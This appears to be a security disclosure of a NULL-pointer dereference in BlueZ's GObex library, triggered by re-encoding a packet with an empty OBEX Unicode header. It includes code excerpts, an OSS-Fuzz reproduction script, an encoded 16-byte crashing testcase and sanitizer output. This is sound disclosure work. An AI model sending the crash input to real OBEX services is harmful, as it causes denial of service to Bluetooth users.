NULL Pointer Dereference When Re-encoding an Empty OBEX Unicode Header
Repository: bluez/bluez
Affected commit: 690c16df606733626a0a7d6bc2b83a3244d4ced1
Sink: gobex/gobex-header.c:46 in utf8_to_utf16()
Sanitizer verdict: NULL-dereference SEGV
Summary
BlueZ's GObex library accepts an OBEX packet containing an empty Unicode header, represents that decoded value with a NULL UTF-8 pointer, and then dereferences the pointer when the packet is encoded again. A 16-byte packet is sufficient to make the decode-then-encode API sequence terminate with a NULL-pointer read in utf8_to_utf16().
This is a reliable library-level denial of service. The report conservatively does not claim that every obexd deployment automatically re-encodes an attacker packet; impact requires a BlueZ or downstream path that decodes and subsequently encodes/forwards the same GObexPacket.
Detail
utf16_to_utf8() intentionally stores NULL for an empty OBEX Unicode string:
if (*utf16 == '\0') {
*utf8 = NULL;
return 0;
}
The decoded header remains valid and is attached to a GObexPacket. When that packet is passed to g_obex_packet_encode(), g_obex_header_encode() calls utf8_to_utf16(&utf16, header->v.string). That helper immediately evaluates *utf8 without checking whether utf8 is NULL:
static glong utf8_to_utf16(gunichar2 **utf16, const char *utf8) {
if (*utf8 == '\0') {
*utf16 = NULL;
return 0;
}
The fault is therefore a mismatched internal representation across the decoder and encoder: the decoder uses NULL as the canonical empty value, while the encoder only supports a non-NULL pointer to an empty string.
Reproduce
The script uses the official OSS-Fuzz BlueZ target. BlueZ's image also builds GLib, so the commands cap build containers at 6 GiB/two CPUs and GLib Ninja jobs at two.
set -eu
work="$(mktemp -d)"
trap 'rm -rf "$work"' EXIT
git clone --depth 1 https://github.com/google/oss-fuzz.git "$work/oss-fuzz"
cd "$work/oss-fuzz"
python3 - <<'PY'
from pathlib import Path
helper = Path("infra/helper.py")
text = helper.read_text()
needle = "'docker', 'run', '--privileged', '--shm-size=2g'"
replacement = "'docker', 'run', '--privileged', '--memory=6g', '--cpus=2', '--shm-size=2g'"
if needle not in text:
raise SystemExit("OSS-Fuzz helper layout changed; apply equivalent Docker limits manually")
helper.write_text(text.replace(needle, replacement))
dockerfile = Path("projects/bluez/Dockerfile")
text = dockerfile.read_text().replace("ninja -C _build", "ninja -j2 -C _build")
dockerfile.write_text(text)
build = Path("projects/bluez/build.sh")
build.write_text(build.read_text().replace("make -j$(nproc)", "make -j2"))
PY
printf '%s' 'H4sICEIseGoCAzg3ODEwMjlmYjgwOF9pbnB1dC5iaW4AY2EQYGHgZmBgUGhwYFDorgUAgKnQ+hAAAAA=' \
| base64 -d | gzip -dc > "$work/testcase.bin"
python3 infra/helper.py build_fuzzers bluez \
--sanitizer address --engine libfuzzer --clean
docker run --rm --memory=512m --cpus=1 gcr.io/oss-fuzz/bluez \
git -C /src/bluez rev-parse HEAD
python3 infra/helper.py reproduce bluez fuzz_gobex "$work/testcase.bin"
Observed on 690c16df606733626a0a7d6bc2b83a3244d4ced1:
ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
The signal is caused by a READ memory access.
Hint: address points to the zero page.
#0 utf8_to_utf16 /src/bluez/gobex/gobex-header.c:46:6
#1 g_obex_header_encode /src/bluez/gobex/gobex-header.c:123:15
#2 g_obex_packet_encode /src/bluez/gobex/gobex-packet.c:431:9
#3 LLVMFuzzerTestOneInput /src/fuzz_gobex.c:29:5
SUMMARY: AddressSanitizer: SEGV /src/bluez/gobex/gobex-header.c:46:6 in utf8_to_utf16
Credit
Zheng Yu @ DepthFirst